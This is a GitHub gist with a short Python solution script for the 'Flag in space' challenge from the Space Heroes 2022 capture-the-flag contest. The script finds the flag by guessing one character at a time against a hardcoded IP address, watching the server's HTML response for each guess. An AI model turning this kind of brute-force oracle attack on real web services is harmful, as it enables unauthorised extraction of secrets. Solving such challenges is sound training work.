-
-
Save kkrypt0nn/6bc38756350cb3d7443b3cea831831fd to your computer and use it in GitHub Desktop.
Solution for challenge Flag in space at the Space Heroes 2022 CTF
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
flag = ["", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "}"] | |
res = ["s", "h", "c", "t", "f", "{"] | |
for i in range(0, len(flag)): | |
for j in range (0x21, 0x7d): | |
char = chr(j) | |
url = "http://172.105.154.14/?flag=" + "".join(res) + char | |
r = requests.get(url) | |
response = "".join(r.text.split()) | |
previous = "" | |
for k in range(0, len(res)): | |
previous += "<div>" + res[k] + "</div>" | |
if f"{previous}<div>{char}</div>" in response: | |
res += char | |
print("".join(res), end="\r") | |
break | |
print("".join(res)) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment